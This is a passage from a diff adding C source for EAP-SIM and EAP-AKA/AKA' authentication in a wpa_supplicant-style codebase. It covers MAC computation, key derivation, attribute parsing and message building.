== NULL || wpabuf_len(req) < EAP_SIM_MAC_LEN || + mac < wpabuf_head_u8(req) || + mac > wpabuf_head_u8(req) + wpabuf_len(req) - EAP_SIM_MAC_LEN) + return -1; + + tmp = os_malloc(wpabuf_len(req)); + if (tmp == NULL) + return -1; + + addr[0] = tmp; + len[0] = wpabuf_len(req); + addr[1] = extra; + len[1] = extra_len; + + /* HMAC-SHA1-128 */ + os_memcpy(tmp, wpabuf_head(req), wpabuf_len(req)); + os_memset(tmp + (mac - wpabuf_head_u8(req)), 0, EAP_SIM_MAC_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Verify MAC - msg", + tmp, wpabuf_len(req)); + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Verify MAC - extra data", + extra, extra_len); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-SIM: Verify MAC - K_aut", + k_aut, EAP_SIM_K_AUT_LEN); + hmac_sha1_vector(k_aut, EAP_SIM_K_AUT_LEN, 2, addr, len, hmac); + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Verify MAC: MAC", + hmac, EAP_SIM_MAC_LEN); + os_free(tmp); + + return (os_memcmp(hmac, mac, EAP_SIM_MAC_LEN) == 0) ? 0 : 1; +} + + +void eap_sim_add_mac(const u8 *k_aut, const u8 *msg, size_t msg_len, u8 *mac, + const u8 *extra, size_t extra_len) +{ + unsigned char hmac[SHA1_MAC_LEN]; + const u8 *addr[2]; + size_t len[2]; + + addr[0] = msg; + len[0] = msg_len; + addr[1] = extra; + len[1] = extra_len; + + /* HMAC-SHA1-128 */ + os_memset(mac, 0, EAP_SIM_MAC_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Add MAC - msg", msg, msg_len); + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Add MAC - extra data", + extra, extra_len); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-SIM: Add MAC - K_aut", + k_aut, EAP_SIM_K_AUT_LEN); + hmac_sha1_vector(k_aut, EAP_SIM_K_AUT_LEN, 2, addr, len, hmac); + os_memcpy(mac, hmac, EAP_SIM_MAC_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Add MAC: MAC", + mac, EAP_SIM_MAC_LEN); +} + + +#if defined(EAP_AKA_PRIME) || defined(EAP_SERVER_AKA_PRIME) +static void prf_prime(const u8 *k, const char *seed1, + const u8 *seed2, size_t seed2_len, + const u8 *seed3, size_t seed3_len, + u8 *res, size_t res_len) +{ + const u8 *addr[5]; + size_t len[5]; + u8 hash[SHA256_MAC_LEN]; + u8 iter; + + /* + * PRF'(K,S) = T1 | T2 | T3 | T4 | ... + * T1 = HMAC-SHA-256 (K, S | 0x01) + * T2 = HMAC-SHA-256 (K, T1 | S | 0x02) + * T3 = HMAC-SHA-256 (K, T2 | S | 0x03) + * T4 = HMAC-SHA-256 (K, T3 | S | 0x04) + * ... + */ + + addr[0] = hash; + len[0] = 0; + addr[1] = (const u8 *) seed1; + len[1] = os_strlen(seed1); + addr[2] = seed2; + len[2] = seed2_len; + addr[3] = seed3; + len[3] = seed3_len; + addr[4] = &iter; + len[4] = 1; + + iter = 0; + while (res_len) { + size_t hlen; + iter++; + hmac_sha256_vector(k, 32, 5, addr, len, hash); + len[0] = SHA256_MAC_LEN; + hlen = res_len > SHA256_MAC_LEN ? SHA256_MAC_LEN : res_len; + os_memcpy(res, hash, hlen); + res += hlen; + res_len -= hlen; + } +} + + +void eap_aka_prime_derive_keys(const u8 *identity, size_t identity_len, + const u8 *ik, const u8 *ck, u8 *k_encr, + u8 *k_aut, u8 *k_re, u8 *msk, u8 *emsk) +{ + u8 key[EAP_AKA_IK_LEN + EAP_AKA_CK_LEN]; + u8 keys[EAP_SIM_K_ENCR_LEN + EAP_AKA_PRIME_K_AUT_LEN + + EAP_AKA_PRIME_K_RE_LEN + EAP_MSK_LEN + EAP_EMSK_LEN]; + u8 *pos; + + /* + * MK = PRF'(IK'|CK',"EAP-AKA'"|Identity) + * K_encr = MK[0..127] + * K_aut = MK[128..383] + * K_re = MK[384..639] + * MSK = MK[640..1151] + * EMSK = MK[1152..1663] + */ + + os_memcpy(key, ik, EAP_AKA_IK_LEN); + os_memcpy(key + EAP_AKA_IK_LEN, ck, EAP_AKA_CK_LEN); + + prf_prime(key, "EAP-AKA'", identity, identity_len, NULL, 0, + keys, sizeof(keys)); + + pos = keys; + os_memcpy(k_encr, pos, EAP_SIM_K_ENCR_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': K_encr", + k_encr, EAP_SIM_K_ENCR_LEN); + pos += EAP_SIM_K_ENCR_LEN; + + os_memcpy(k_aut, pos, EAP_AKA_PRIME_K_AUT_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': K_aut", + k_aut, EAP_AKA_PRIME_K_AUT_LEN); + pos += EAP_AKA_PRIME_K_AUT_LEN; + + os_memcpy(k_re, pos, EAP_AKA_PRIME_K_RE_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': K_re", + k_re, EAP_AKA_PRIME_K_RE_LEN); + pos += EAP_AKA_PRIME_K_RE_LEN; + + os_memcpy(msk, pos, EAP_MSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': MSK", msk, EAP_MSK_LEN); + pos += EAP_MSK_LEN; + + os_memcpy(emsk, pos, EAP_EMSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': EMSK", emsk, EAP_EMSK_LEN); +} + + +int eap_aka_prime_derive_keys_reauth(const u8 *k_re, u16 counter, + const u8 *identity, size_t identity_len, + const u8 *nonce_s, u8 *msk, u8 *emsk) +{ + u8 seed3[2 + EAP_SIM_NONCE_S_LEN]; + u8 keys[EAP_MSK_LEN + EAP_EMSK_LEN]; + u8 *pos; + + /* + * MK = PRF'(K_re,"EAP-AKA' re-auth"|Identity|counter|NONCE_S) + * MSK = MK[0..511] + * EMSK = MK[512..1023] + */ + + WPA_PUT_BE16(seed3, counter); + os_memcpy(seed3 + 2, nonce_s, EAP_SIM_NONCE_S_LEN); + + prf_prime(k_re, "EAP-AKA' re-auth", identity, identity_len, + seed3, sizeof(seed3), + keys, sizeof(keys)); + + pos = keys; + os_memcpy(msk, pos, EAP_MSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': MSK", msk, EAP_MSK_LEN); + pos += EAP_MSK_LEN; + + os_memcpy(emsk, pos, EAP_EMSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': EMSK", emsk, EAP_EMSK_LEN); + + os_memset(keys, 0, sizeof(keys)); + + return 0; +} + + +int eap_sim_verify_mac_sha256(const u8 *k_aut, const struct wpabuf *req, + const u8 *mac, const u8 *extra, size_t extra_len) +{ + unsigned char hmac[SHA256_MAC_LEN]; + const u8 *addr[2]; + size_t len[2]; + u8 *tmp; + + if (mac == NULL || wpabuf_len(req) < EAP_SIM_MAC_LEN || + mac < wpabuf_head_u8(req) || + mac > wpabuf_head_u8(req) + wpabuf_len(req) - EAP_SIM_MAC_LEN) + return -1; + + tmp = os_malloc(wpabuf_len(req)); + if (tmp == NULL) + return -1; + + addr[0] = tmp; + len[0] = wpabuf_len(req); + addr[1] = extra; + len[1] = extra_len; + + /* HMAC-SHA-256-128 */ + os_memcpy(tmp, wpabuf_head(req), wpabuf_len(req)); + os_memset(tmp + (mac - wpabuf_head_u8(req)), 0, EAP_SIM_MAC_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA': Verify MAC - msg", + tmp, wpabuf_len(req)); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA': Verify MAC - extra data", + extra, extra_len); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-AKA': Verify MAC - K_aut", + k_aut, EAP_AKA_PRIME_K_AUT_LEN); + hmac_sha256_vector(k_aut, EAP_AKA_PRIME_K_AUT_LEN, 2, addr, len, hmac); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA': Verify MAC: MAC", + hmac, EAP_SIM_MAC_LEN); + os_free(tmp); + + return (os_memcmp(hmac, mac, EAP_SIM_MAC_LEN) == 0) ? 0 : 1; +} + + +void eap_sim_add_mac_sha256(const u8 *k_aut, const u8 *msg, size_t msg_len, + u8 *mac, const u8 *extra, size_t extra_len) +{ + unsigned char hmac[SHA256_MAC_LEN]; + const u8 *addr[2]; + size_t len[2]; + + addr[0] = msg; + len[0] = msg_len; + addr[1] = extra; + len[1] = extra_len; + + /* HMAC-SHA-256-128 */ + os_memset(mac, 0, EAP_SIM_MAC_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA': Add MAC - msg", msg, msg_len); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA': Add MAC - extra data", + extra, extra_len); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-AKA': Add MAC - K_aut", + k_aut, EAP_AKA_PRIME_K_AUT_LEN); + hmac_sha256_vector(k_aut, EAP_AKA_PRIME_K_AUT_LEN, 2, addr, len, hmac); + os_memcpy(mac, hmac, EAP_SIM_MAC_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA': Add MAC: MAC", + mac, EAP_SIM_MAC_LEN); +} + + +void eap_aka_prime_derive_ck_ik_prime(u8 *ck, u8 *ik, const u8 *sqn_ak, + const u8 *network_name, + size_t network_name_len) +{ + u8 key[EAP_AKA_CK_LEN + EAP_AKA_IK_LEN]; + u8 hash[SHA256_MAC_LEN]; + const u8 *addr[5]; + size_t len[5]; + u8 fc; + u8 l0[2], l1[2]; + + /* 3GPP TS 33.402 V8.0.0 + * (CK', IK') = F(CK, IK, ) + */ + /* TODO: CK', IK' generation should really be moved into the actual + * AKA procedure with network name passed in there and option to use + * AMF separation bit = 1 (3GPP TS 33.401). */ + + /* Change Request 33.402 CR 0033 to version 8.1.1 from + * 3GPP TSG-SA WG3 Meeting #53 in September 2008: + * + * CK' || IK' = HMAC-SHA-256(Key, S) + * S = FC || P0 || L0 || P1 || L1 || ... || Pn || Ln + * Key = CK || IK + * FC = 0x20 + * P0 = access network identity (3GPP TS 24.302) + * L0 = length of acceess network identity (2 octets, big endian) + * P1 = SQN xor AK (if AK is not used, AK is treaded as 000..0 + * L1 = 0x00 0x06 + */ + + fc = 0x20; + + wpa_printf(MSG_DEBUG, "EAP-AKA': Derive (CK',IK') from (CK,IK)"); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': CK", ck, EAP_AKA_CK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': IK", ik, EAP_AKA_IK_LEN); + wpa_printf(MSG_DEBUG, "EAP-AKA': FC = 0x%x", fc); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-AKA': P0 = Access network identity", + network_name, network_name_len); + wpa_hexdump(MSG_DEBUG, "EAP-AKA': P1 = SQN xor AK", sqn_ak, 6); + + os_memcpy(key, ck, EAP_AKA_CK_LEN); + os_memcpy(key + EAP_AKA_CK_LEN, ik, EAP_AKA_IK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': Key = CK || IK", + key, sizeof(key)); + + addr[0] = &fc; + len[0] = 1; + addr[1] = network_name; + len[1] = network_name_len; + WPA_PUT_BE16(l0, network_name_len); + addr[2] = l0; + len[2] = 2; + addr[3] = sqn_ak; + len[3] = 6; + WPA_PUT_BE16(l1, 6); + addr[4] = l1; + len[4] = 2; + + hmac_sha256_vector(key, sizeof(key), 5, addr, len, hash); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': KDF output (CK' || IK')", + hash, sizeof(hash)); + + os_memcpy(ck, hash, EAP_AKA_CK_LEN); + os_memcpy(ik, hash + EAP_AKA_CK_LEN, EAP_AKA_IK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': CK'", ck, EAP_AKA_CK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA': IK'", ik, EAP_AKA_IK_LEN); +} +#endif /* EAP_AKA_PRIME || EAP_SERVER_AKA_PRIME */ + + +int eap_sim_parse_attr(const u8 *start, const u8 *end, + struct eap_sim_attrs *attr, int aka, int encr) +{ + const u8 *pos = start, *apos; + size_t alen, plen, i, list_len; + + os_memset(attr, 0, sizeof(*attr)); + attr->id_req = NO_ID_REQ; + attr->notification = -1; + attr->counter = -1; + attr->selected_version = -1; + attr->client_error_code = -1; + + while (pos < end) { + if (pos + 2 > end) { + wpa_printf(MSG_INFO, "EAP-SIM: Attribute overflow(1)"); + return -1; + } + wpa_printf(MSG_MSGDUMP, "EAP-SIM: Attribute: Type=%d Len=%d", + pos[0], pos[1] * 4); + if (pos + pos[1] * 4 > end) { + wpa_printf(MSG_INFO, "EAP-SIM: Attribute overflow " + "(pos=%p len=%d end=%p)", + pos, pos[1] * 4, end); + return -1; + } + if (pos[1] == 0) { + wpa_printf(MSG_INFO, "EAP-SIM: Attribute underflow"); + return -1; + } + apos = pos + 2; + alen = pos[1] * 4 - 2; + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Attribute data", + apos, alen); + + switch (pos[0]) { + case EAP_SIM_AT_RAND: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_RAND"); + apos += 2; + alen -= 2; + if ((!aka && (alen % GSM_RAND_LEN)) || + (aka && alen != EAP_AKA_RAND_LEN)) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid AT_RAND" + " (len %lu)", + (unsigned long) alen); + return -1; + } + attr->rand = apos; + attr->num_chal = alen / GSM_RAND_LEN; + break; + case EAP_SIM_AT_AUTN: + wpa_printf(MSG_DEBUG, "EAP-AKA: AT_AUTN"); + if (!aka) { + wpa_printf(MSG_DEBUG, "EAP-SIM: " + "Unexpected AT_AUTN"); + return -1; + } + apos += 2; + alen -= 2; + if (alen != EAP_AKA_AUTN_LEN) { + wpa_printf(MSG_INFO, "EAP-AKA: Invalid AT_AUTN" + " (len %lu)", + (unsigned long) alen); + return -1; + } + attr->autn = apos; + break; + case EAP_SIM_AT_PADDING: + if (!encr) { + wpa_printf(MSG_ERROR, "EAP-SIM: Unencrypted " + "AT_PADDING"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: (encr) AT_PADDING"); + for (i = 2; i < alen; i++) { + if (apos[i] != 0) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) " + "AT_PADDING used a non-zero" + " padding byte"); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: " + "(encr) padding bytes", + apos + 2, alen - 2); + return -1; + } + } + break; + case EAP_SIM_AT_NONCE_MT: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_NONCE_MT"); + if (alen != 2 + EAP_SIM_NONCE_MT_LEN) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid " + "AT_NONCE_MT length"); + return -1; + } + attr->nonce_mt = apos + 2; + break; + case EAP_SIM_AT_PERMANENT_ID_REQ: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_PERMANENT_ID_REQ"); + attr->id_req = PERMANENT_ID; + break; + case EAP_SIM_AT_MAC: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_MAC"); + if (alen != 2 + EAP_SIM_MAC_LEN) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid AT_MAC " + "length"); + return -1; + } + attr->mac = apos + 2; + break; + case EAP_SIM_AT_NOTIFICATION: + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid " + "AT_NOTIFICATION length %lu", + (unsigned long) alen); + return -1; + } + attr->notification = apos[0] * 256 + apos[1]; + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_NOTIFICATION %d", + attr->notification); + break; + case EAP_SIM_AT_ANY_ID_REQ: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_ANY_ID_REQ"); + attr->id_req = ANY_ID; + break; + case EAP_SIM_AT_IDENTITY: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_IDENTITY"); + plen = WPA_GET_BE16(apos); + apos += 2; + alen -= 2; + if (plen > alen) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid " + "AT_IDENTITY (Actual Length %lu, " + "remaining length %lu)", + (unsigned long) plen, + (unsigned long) alen); + return -1; + } + + attr->identity = apos; + attr->identity_len = plen; + break; + case EAP_SIM_AT_VERSION_LIST: + if (aka) { + wpa_printf(MSG_DEBUG, "EAP-AKA: " + "Unexpected AT_VERSION_LIST"); + return -1; + } + list_len = apos[0] * 256 + apos[1]; + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_VERSION_LIST"); + if (list_len < 2 || list_len > alen - 2) { + wpa_printf(MSG_WARNING, "EAP-SIM: Invalid " + "AT_VERSION_LIST (list_len=%lu " + "attr_len=%lu)", + (unsigned long) list_len, + (unsigned long) alen); + return -1; + } + attr->version_list = apos + 2; + attr->version_list_len = list_len; + break; + case EAP_SIM_AT_SELECTED_VERSION: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_SELECTED_VERSION"); + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid " + "AT_SELECTED_VERSION length %lu", + (unsigned long) alen); + return -1; + } + attr->selected_version = apos[0] * 256 + apos[1]; + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_SELECTED_VERSION " + "%d", attr->selected_version); + break; + case EAP_SIM_AT_FULLAUTH_ID_REQ: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_FULLAUTH_ID_REQ"); + attr->id_req = FULLAUTH_ID; + break; + case EAP_SIM_AT_COUNTER: + if (!encr) { + wpa_printf(MSG_ERROR, "EAP-SIM: Unencrypted " + "AT_COUNTER"); + return -1; + } + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) Invalid " + "AT_COUNTER (alen=%lu)", + (unsigned long) alen); + return -1; + } + attr->counter = apos[0] * 256 + apos[1]; + wpa_printf(MSG_DEBUG, "EAP-SIM: (encr) AT_COUNTER %d", + attr->counter); + break; + case EAP_SIM_AT_COUNTER_TOO_SMALL: + if (!encr) { + wpa_printf(MSG_ERROR, "EAP-SIM: Unencrypted " + "AT_COUNTER_TOO_SMALL"); + return -1; + } + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) Invalid " + "AT_COUNTER_TOO_SMALL (alen=%lu)", + (unsigned long) alen); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: (encr) " + "AT_COUNTER_TOO_SMALL"); + attr->counter_too_small = 1; + break; + case EAP_SIM_AT_NONCE_S: + if (!encr) { + wpa_printf(MSG_ERROR, "EAP-SIM: Unencrypted " + "AT_NONCE_S"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: (encr) " + "AT_NONCE_S"); + if (alen != 2 + EAP_SIM_NONCE_S_LEN) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) Invalid " + "AT_NONCE_S (alen=%lu)", + (unsigned long) alen); + return -1; + } + attr->nonce_s = apos + 2; + break; + case EAP_SIM_AT_CLIENT_ERROR_CODE: + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid " + "AT_CLIENT_ERROR_CODE length %lu", + (unsigned long) alen); + return -1; + } + attr->client_error_code = apos[0] * 256 + apos[1]; + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_CLIENT_ERROR_CODE " + "%d", attr->client_error_code); + break; + case EAP_SIM_AT_IV: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_IV"); + if (alen != 2 + EAP_SIM_MAC_LEN) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid AT_IV " + "length %lu", (unsigned long) alen); + return -1; + } + attr->iv = apos + 2; + break; + case EAP_SIM_AT_ENCR_DATA: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_ENCR_DATA"); + attr->encr_data = apos + 2; + attr->encr_data_len = alen - 2; + if (attr->encr_data_len % 16) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid " + "AT_ENCR_DATA length %lu", + (unsigned long) + attr->encr_data_len); + return -1; + } + break; + case EAP_SIM_AT_NEXT_PSEUDONYM: + if (!encr) { + wpa_printf(MSG_ERROR, "EAP-SIM: Unencrypted " + "AT_NEXT_PSEUDONYM"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: (encr) " + "AT_NEXT_PSEUDONYM"); + plen = apos[0] * 256 + apos[1]; + if (plen > alen - 2) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) Invalid" + " AT_NEXT_PSEUDONYM (actual" + " len %lu, attr len %lu)", + (unsigned long) plen, + (unsigned long) alen); + return -1; + } + attr->next_pseudonym = pos + 4; + attr->next_pseudonym_len = plen; + break; + case EAP_SIM_AT_NEXT_REAUTH_ID: + if (!encr) { + wpa_printf(MSG_ERROR, "EAP-SIM: Unencrypted " + "AT_NEXT_REAUTH_ID"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: (encr) " + "AT_NEXT_REAUTH_ID"); + plen = apos[0] * 256 + apos[1]; + if (plen > alen - 2) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) Invalid" + " AT_NEXT_REAUTH_ID (actual" + " len %lu, attr len %lu)", + (unsigned long) plen, + (unsigned long) alen); + return -1; + } + attr->next_reauth_id = pos + 4; + attr->next_reauth_id_len = plen; + break; + case EAP_SIM_AT_RES: + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_RES"); + attr->res_len_bits = WPA_GET_BE16(apos); + apos += 2; + alen -= 2; + if (!aka || alen < EAP_AKA_MIN_RES_LEN || + alen > EAP_AKA_MAX_RES_LEN) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid AT_RES " + "(len %lu)", + (unsigned long) alen); + return -1; + } + attr->res = apos; + attr->res_len = alen; + break; + case EAP_SIM_AT_AUTS: + wpa_printf(MSG_DEBUG, "EAP-AKA: AT_AUTS"); + if (!aka) { + wpa_printf(MSG_DEBUG, "EAP-SIM: " + "Unexpected AT_AUTS"); + return -1; + } + if (alen != EAP_AKA_AUTS_LEN) { + wpa_printf(MSG_INFO, "EAP-AKA: Invalid AT_AUTS" + " (len %lu)", + (unsigned long) alen); + return -1; + } + attr->auts = apos; + break; + case EAP_SIM_AT_CHECKCODE: + wpa_printf(MSG_DEBUG, "EAP-AKA: AT_CHECKCODE"); + if (!aka) { + wpa_printf(MSG_DEBUG, "EAP-SIM: " + "Unexpected AT_CHECKCODE"); + return -1; + } + apos += 2; + alen -= 2; + if (alen != 0 && alen != EAP_AKA_CHECKCODE_LEN && + alen != EAP_AKA_PRIME_CHECKCODE_LEN) { + wpa_printf(MSG_INFO, "EAP-AKA: Invalid " + "AT_CHECKCODE (len %lu)", + (unsigned long) alen); + return -1; + } + attr->checkcode = apos; + attr->checkcode_len = alen; + break; + case EAP_SIM_AT_RESULT_IND: + if (encr) { + wpa_printf(MSG_ERROR, "EAP-SIM: Encrypted " + "AT_RESULT_IND"); + return -1; + } + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-SIM: Invalid " + "AT_RESULT_IND (alen=%lu)", + (unsigned long) alen); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: AT_RESULT_IND"); + attr->result_ind = 1; + break; +#if defined(EAP_AKA_PRIME) || defined(EAP_SERVER_AKA_PRIME) + case EAP_SIM_AT_KDF_INPUT: + if (aka != 2) { + wpa_printf(MSG_INFO, "EAP-AKA: Unexpected " + "AT_KDF_INPUT"); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-AKA: AT_KDF_INPUT"); + plen = WPA_GET_BE16(apos); + apos += 2; + alen -= 2; + if (plen > alen) { + wpa_printf(MSG_INFO, "EAP-AKA': Invalid " + "AT_KDF_INPUT (Actual Length %lu, " + "remaining length %lu)", + (unsigned long) plen, + (unsigned long) alen); + return -1; + } + attr->kdf_input = apos; + attr->kdf_input_len = plen; + break; + case EAP_SIM_AT_KDF: + if (aka != 2) { + wpa_printf(MSG_INFO, "EAP-AKA: Unexpected " + "AT_KDF"); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-AKA: AT_KDF"); + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-AKA': Invalid " + "AT_KDF (len %lu)", + (unsigned long) alen); + return -1; + } + if (attr->kdf_count == EAP_AKA_PRIME_KDF_MAX) { + wpa_printf(MSG_DEBUG, "EAP-AKA': Too many " + "AT_KDF attributes - ignore this"); + continue; + } + attr->kdf[attr->kdf_count] = WPA_GET_BE16(apos); + attr->kdf_count++; + break; + case EAP_SIM_AT_BIDDING: + wpa_printf(MSG_DEBUG, "EAP-AKA: AT_BIDDING"); + if (alen != 2) { + wpa_printf(MSG_INFO, "EAP-AKA: Invalid " + "AT_BIDDING (len %lu)", + (unsigned long) alen); + return -1; + } + attr->bidding = apos; + break; +#endif /* EAP_AKA_PRIME || EAP_SERVER_AKA_PRIME */ + default: + if (pos[0] < 128) { + wpa_printf(MSG_INFO, "EAP-SIM: Unrecognized " + "non-skippable attribute %d", + pos[0]); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-SIM: Unrecognized skippable" + " attribute %d ignored", pos[0]); + break; + } + + pos += pos[1] * 4; + } + + wpa_printf(MSG_DEBUG, "EAP-SIM: Attributes parsed successfully " + "(aka=%d encr=%d)", aka, encr); + + return 0; +} + + +u8 * eap_sim_parse_encr(const u8 *k_encr, const u8 *encr_data, + size_t encr_data_len, const u8 *iv, + struct eap_sim_attrs *attr, int aka) +{ + u8 *decrypted; + + if (!iv) { + wpa_printf(MSG_INFO, "EAP-SIM: Encrypted data, but no IV"); + return NULL; + } + + decrypted = os_malloc(encr_data_len); + if (decrypted == NULL) + return NULL; + os_memcpy(decrypted, encr_data, encr_data_len); + + if (aes_128_cbc_decrypt(k_encr, iv, decrypted, encr_data_len)) { + os_free(decrypted); + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-SIM: Decrypted AT_ENCR_DATA", + decrypted, encr_data_len); + + if (eap_sim_parse_attr(decrypted, decrypted + encr_data_len, attr, + aka, 1)) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) Failed to parse " + "decrypted AT_ENCR_DATA"); + os_free(decrypted); + return NULL; + } + + return decrypted; +} + + +#define EAP_SIM_INIT_LEN 128 + +struct eap_sim_msg { + struct wpabuf *buf; + size_t mac, iv, encr; /* index from buf */ + int type; +}; + + +struct eap_sim_msg * eap_sim_msg_init(int code, int id, int type, int subtype) +{ + struct eap_sim_msg *msg; + struct eap_hdr *eap; + u8 *pos; + + msg = os_zalloc(sizeof(*msg)); + if (msg == NULL) + return NULL; + + msg->type = type; + msg->buf = wpabuf_alloc(EAP_SIM_INIT_LEN); + if (msg->buf == NULL) { + os_free(msg); + return NULL; + } + eap = wpabuf_put(msg->buf, sizeof(*eap)); + eap->code = code; + eap->identifier = id; + + pos = wpabuf_put(msg->buf, 4); + *pos++ = type; + *pos++ = subtype; + *pos++ = 0; /* Reserved */ + *pos++ = 0; /* Reserved */ + + return msg; +} + + +struct wpabuf * eap_sim_msg_finish(struct eap_sim_msg *msg, const u8 *k_aut, + const u8 *extra, size_t extra_len) +{ + struct eap_hdr *eap; + struct wpabuf *buf; + + if (msg == NULL) + return NULL; + + eap = wpabuf_mhead(msg->buf); + eap->length = host_to_be16(wpabuf_len(msg->buf)); + +#if defined(EAP_AKA_PRIME) || defined(EAP_SERVER_AKA_PRIME) + if (k_aut && msg->mac && msg->type == EAP_TYPE_AKA_PRIME) { + eap_sim_add_mac_sha256(k_aut, (u8 *) wpabuf_head(msg->buf), + wpabuf_len(msg->buf), + (u8 *) wpabuf_mhead(msg->buf) + + msg->mac, extra, extra_len); + } else +#endif /* EAP_AKA_PRIME || EAP_SERVER_AKA_PRIME */ + if (k_aut && msg->mac) { + eap_sim_add_mac(k_aut, (u8 *) wpabuf_head(msg->buf), + wpabuf_len(msg->buf), + (u8 *) wpabuf_mhead(msg->buf) + msg->mac, + extra, extra_len); + } + + buf = msg->buf; + os_free(msg); + return buf; +} + + +void eap_sim_msg_free(struct eap_sim_msg *msg) +{ + if (msg) { + wpabuf_free(msg->buf); + os_free(msg); + } +} + + +u8 * eap_sim_msg_add_full(struct eap_sim_msg *msg, u8 attr, + const u8 *data, size_t len) +{ + int attr_len = 2 + len; + int pad_len; + u8 *start; + + if (msg == NULL) + return NULL; + + pad_len = (4 - attr_len % 4) % 4; + attr_len += pad_len; + if (wpabuf_resize(&msg->buf, attr_len)) + return NULL; + start = wpabuf_put(msg->buf, 0); + wpabuf_put_u8(msg->buf, attr); + wpabuf_put_u8(msg->buf, attr_len / 4); + wpabuf_put_data(msg->buf, data, len); + if (pad_len) + os_memset(wpabuf_put(msg->buf, pad_len), 0, pad_len); + return start; +} + + +u8 * eap_sim_msg_add(struct eap_sim_msg *msg, u8 attr, u16 value, + const u8 *data, size_t len) +{ + int attr_len = 4 + len; + int pad_len; + u8 *start; + + if (msg == NULL) + return NULL; + + pad_len = (4 - attr_len % 4) % 4; + attr_len += pad_len; + if (wpabuf_resize(&msg->buf, attr_len)) + return NULL; + start = wpabuf_put(msg->buf, 0); + wpabuf_put_u8(msg->buf, attr); + wpabuf_put_u8(msg->buf, attr_len / 4); + wpabuf_put_be16(msg->buf, value); + if (data) + wpabuf_put_data(msg->buf, data, len); + else + wpabuf_put(msg->buf, len); + if (pad_len) + os_memset(wpabuf_put(msg->buf, pad_len), 0, pad_len); + return start; +} + + +u8 * eap_sim_msg_add_mac(struct eap_sim_msg *msg, u8 attr) +{ + u8 *pos = eap_sim_msg_add(msg, attr, 0, NULL, EAP_SIM_MAC_LEN); + if (pos) + msg->mac = (pos - wpabuf_head_u8(msg->buf)) + 4; + return pos; +} + + +int eap_sim_msg_add_encr_start(struct eap_sim_msg *msg, u8 attr_iv, + u8 attr_encr) +{ + u8 *pos = 